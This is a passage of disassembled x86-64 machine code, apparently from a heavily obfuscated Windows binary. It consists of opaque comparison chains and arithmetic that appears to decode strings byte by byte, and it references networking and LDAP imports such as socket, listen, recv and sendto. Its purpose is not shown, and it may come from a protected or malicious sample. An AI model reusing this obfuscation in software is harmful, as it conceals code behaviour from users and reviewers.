je 0x140082430
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400823f3
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400823cb
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x1400823a3
lea rax, [r8 + 9]
cmp r9, rax
je 0x140082380
lea rax, [r8 + 8]
cmp r9, rax
je 0x140081e80
lea r9, [r8 + 2]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x140082a34
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x140082a02
lea rax, [r8 + 6]
cmp r9, rax
jb 0x140082069
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14008204f
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x140082035
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14008231f
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x1400822c2
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x140082273
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x140082236
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x140081e80
lea r9, [r8 + 9]
lea r8, [r9 + 3]
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14008220e
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x1400821e6
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x1400821c3
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x140082186
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14008215e
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14008213b
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x140082108
lea rax, [r8 + 5]
cmp r9, rax
ja 0x1400820cd
lea rax, [r8 + 4]
cmp r9, rax
ja 0x1400820a5
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x140081e80
lea r9, [r8 + 0x42]
lea r8, [r9 + 0xa]
jmp 0x140081e80
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xa
jmp 0x140081e70
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x140081e06
movabs rdx, 0xea5d53e2a1aacc5e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x4ca6c5026ef748c2
movabs rcx, 0x3124b88fe6a63e32
jmp 0x140081d9e
movabs rdx, 0x40191e6f5d18d0d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082832
movabs rdx, 0xddcfad4f8fcc546c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rcx, 0x7b863c2fc27fd808
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
dec rdi
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rcx, 0x193ccb0ff5335ba4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x1400828cb
movabs rdx, 0xb6f359f027e6df40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082914
movabs rcx, 0x54a9e8d05a9a62dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rcx, 0xf26077b08d4de678
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x14008295d
movabs rdx, 0x90170690c0016a14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008298e
movabs rdx, 0x2dcd9570f2b4edb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400829e2
movabs rdx, 0x3815faa17175b6b6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xd38], r11b
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rcx, 0xd5cc8981a4293a52
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
cmp r8, 0x200
jb 0x140082259
movabs rcx, 0x94a18955e63cc7ec
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140082832
movabs rdx, 0x73831861d6dcbdee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x20
jae 0x140082778
lea rax, [r8 + 6]
cmp r9, rax
jbe 0x14008268d
movabs rcx, 0xbdc31e17e13fec04
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140082291
movabs rdx, 0x1139a7420990418a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400827a1
lea rax, [r8 + 0x2a]
cmp r9, rax
jbe 0x1400825b8
movabs rcx, 0xb5bffa49f59cd1ea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
jmp 0x1400822e5
movabs rcx, 0x3012d6d385d29c9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400829e2
movabs rdx, 0xcdc965b3b8862038
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008298e
movabs rdx, 0x6b7ff493eb39a3d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008295d
movabs rcx, 0x93683741ded2770
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rcx, 0xa6ed125450a0ab0c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
jmp 0x140082914
movabs rdx, 0x44a3a13483542ea8
mov ecx, 0x34
jmp 0x1400828b7
movabs rdx, 0xe25a3014b607b244
mov ecx, reloc.WS2_32.dll_select
jmp 0x14008287f
movabs rcx, 0x8010bef4e8bb35e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
inc r8
dec rdi
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rcx, 0x1dc74dd51b6eb97c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x140082832
lea rax, [r8 + 0x42]
cmp r9, rax
jae 0x140082500
movabs rcx, 0x3124b88fe6a63e32
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x140082342
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008252c
movabs rcx, 0x1006479bd7463434
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x1400829e2
inc rax
cmp r9, rax
jne 0x140082557
movabs rcx, 0x724fb8bba492b098
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x14008298e
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140082588
movabs rdx, 0xd49929db71df2cfc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008295d
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140082342
movabs rcx, 0x2251d09a41aa1754
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140082832
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400825e4
movabs rcx, 0x18096b69c2e94e4e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
jmp 0x140082832
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140082605
movabs rdx, 0xdc9c4da95d824716
mov ecx, 0x33
jmp 0x14008287f
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140082631
movabs rcx, 0x3ee5bec92acec37a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
jmp 0x1400828cb
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008265d
movabs rcx, 0xc80b83486000b50a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
jmp 0x14008298e
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400822e5
movabs rcx, 0x2a54f4682d4d316e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x1400829e2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400826be
movabs rdx, 0x200c8f37ae8c6868
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400829e2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400826ea
movabs rcx, 0xe49f717749256130
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x14008295d
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140082730
movabs rcx, 0x46e8e2971671dd94
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140082291
movabs rdx, 0xd00ea7164ba3cf24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rdx, 0xf6eafa75b3894450
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xd38]
sub r11b, al
sub r11b, 0x30
jmp 0x1400828c5
movabs rdx, 0x59346b9580d5c0b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14008295d
movabs rcx, 0x55bbca8cbb6e0472
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rdx, 0x2edf772d53888f46
mov ecx, listen
jmp 0x14008287f
movabs rcx, 0x6a4c94edb8ef967e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
movabs rdx, 0xc5c641e5cce3061e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xd38], cl
inc r8
dec rdi
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rdx, 0xe126d06e83bda4ee
mov ecx, 0x3f
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rdx, 0x7edd5f4eb671288a
mov ecx, Ordinal_33
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x280fb3059a2f8282
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_gethostname
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi + 0xd38], dl
jmp 0x140082914
movabs rcx, 0x1c93ee2ee924ac26
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xa
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
mov rbx, r10
movabs rdx, 0x58010bef4e8bb35e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0x8a592425677bfee6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x4a
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd38], al
inc r8
add rax, r8
sub rdi, rax
movabs rdx, 0xbb7ddcb54e223d18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xd38], cl
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
jmp 0x1400829e2
movabs rcx, 0x936e29afb3f2ba96
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1a
movzx eax, byte [rbp + rdi + 0xd38]
add rax, r8
add rdi, rax
inc rdi
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d82
movabs rdx, 0x8813e2c2d45e4ffa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x4ca6c5026ef748c2
jmp 0x140081d7e
movabs rcx, 0x25ca71a30711d396
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x140081d70
lea rcx, [rbp + 0x171d6d0]
jmp 0x140082a76
lea rcx, [rbp + 0x981502]
jmp 0x140082a76
lea rcx, [rbp + 0xd38]
mov dword [rbp + 0xf30], 0x3e8
mov dword [rbp + 0xf38], 0xa
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf30]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf38]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.1400375c0
mov byte [rbp + 0xd60], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd61], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xd62], reloc.WS2_32.dll_select
mov byte [rbp + 0xd63], 0xe0
mov byte [rbp + 0xd64], 0xc0
mov byte [rbp + 0xd65], 0xc0
mov byte [rbp + 0xd66], Ordinal_211
mov byte [rbp + 0xd67], Ordinal_200
mov byte [rbp + 0xd68], reloc.WLDAP32.dll_Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd69], xmm0
mov qword [rbp + 0xd79], rax
mov word [rbp + 0xd81], ax
movabs rsi, 0xdb75d9dce7611fd8
movabs r12, 0x908bb50a84ec3e78
movabs r14, 0x7bdb4cb62c45eb28
movabs r15, 0x5ac3e2a1226d6e38
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400837ef
movzx ebx, byte [rbp + rdi + 0xd60]
mov r10, rbx
cmp r8, rdi
ja 0x1400837e3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140082b93
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x48
jmp 0x140082bd0
je 0x140083752
inc rax
cmp r8, rax
je 0x1400836eb
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083694
lea rax, [r9 + 5]
cmp r8, rax
je 0x140083630
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400835de
nop dword [rax]
cmp r9, rdi
ja 0x1400837d7
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140082bfe
lea rdx, [rdi + rsi]
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082c50
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400835be
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083590
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008355d
lea rax, [r9 + 4]
cmp r8, rax
je 0x140083535
lea rax, [r9 + 6]
cmp r8, rax
je 0x140083516
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400834dd
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400831da
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400831b2
lea rax, [r9 + 9]
cmp r8, rax
je 0x140083186
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008315d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140083135
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140083112
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400830da
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400830b7
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008308f
lea r8, [r9 + 1]
lea r9, [r8 + 0x10]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400837af
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008378c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140082dee
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140082dcf
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140082db1
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008302e
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140082fc0
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140082f6e
lea r8, [r9 + 0x41]
lea r9, [r8 + 8]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140082f35
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140082f12
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140082eea
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140082eb7
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140082e98
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140082e70
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140082e47
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140082e16
lea r8, [r9 + 0x20]
lea r9, [r8 + 4]
jmp 0x140082c60
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x140082c50
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082bd0
movabs rdx, 0x39ac788c1894f148
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140082b64
movabs rdx, 0xba9764d2313081d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140082b52
movabs rcx, 0x997ffabd275804e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
dec rdi
inc rdi
jmp 0x140082b52
movabs rdx, 0x786890a81d7f87f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083653
movabs rcx, 0x5751269313a70b00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
jmp 0x14008367c
movabs rcx, 0x3639bc7e09ce8e10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082b52
movabs rdx, 0x15225268fff61120
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400836bb
movabs rcx, 0xf40ae853f61d9430
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x14008370e
movabs rdx, 0xd2f37e3eec451740
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082b52
movabs rdx, 0xdf218af549cf61f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x41
jb 0x14008347f
movabs rcx, 0x97aa2230f620e3d0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x60]
jmp 0x1400835fc
movabs rcx, 0xbe0a20e03ff6e508
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
cmp r8, 1
jae 0x14008348f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008340e
movabs rdx, 0x6dd767739d847f60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082b52
movabs rdx, 0x9cf2b6cb361e6818
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 4
je 0x1400834b8
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140083333
movabs rcx, 0x714a2381ac4ae298
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140082fde
movabs rdx, 0x3abb118626e4220
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008370e
movabs rcx, 0xe29447035895c530
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x1400836bb
movabs rdx, 0xc17cdcee4ebd4840
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082b52
movabs rcx, 0xa06572d944e4cb50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14008367c
movabs rdx, 0x7f4e08c43b0c4e60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083653
movabs rcx, 0x5e369eaf3133d170
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
dec rdi
inc rdi
jmp 0x140082b52
movabs rcx, 0x3d1f349a275b5480
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x140082b52
movabs rdx, 0x1c07ca851d82d790
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400835fc
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400831fd
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x140083051
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008323f
movabs rdx, 0xb6ebb3b9cec23fb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082b52
inc rax
cmp r8, rax
jne 0x14008327a
movabs rcx, 0x1a31f1f8ec4bb680
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082b52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400832a6
movabs rcx, 0x3b495c0df6243370
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x14008367c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400832c3
movabs rdx, 0x5c60c622fffcb060
mov ecx, Ordinal_50
jmp 0x14008363f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400832f5
movabs rcx, 0x7d78303809d52d50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x140082b52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083051
movabs rdx, 0x9e8f9a4d13adaa40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140082b52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083364
movabs rdx, 0x92618d96b6235f88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400835fc
inc rax
cmp r8, rax
jne 0x140083398
movabs rcx, 0xb378f7abbffbdc78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
inc r9
dec rdi
inc rdi
jmp 0x140082b52
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400833c9
movabs rdx, 0x16bf35eadd855348
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008367c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082fde
movabs rdx, 0x37d69fffe75dd038
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082b52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008344a
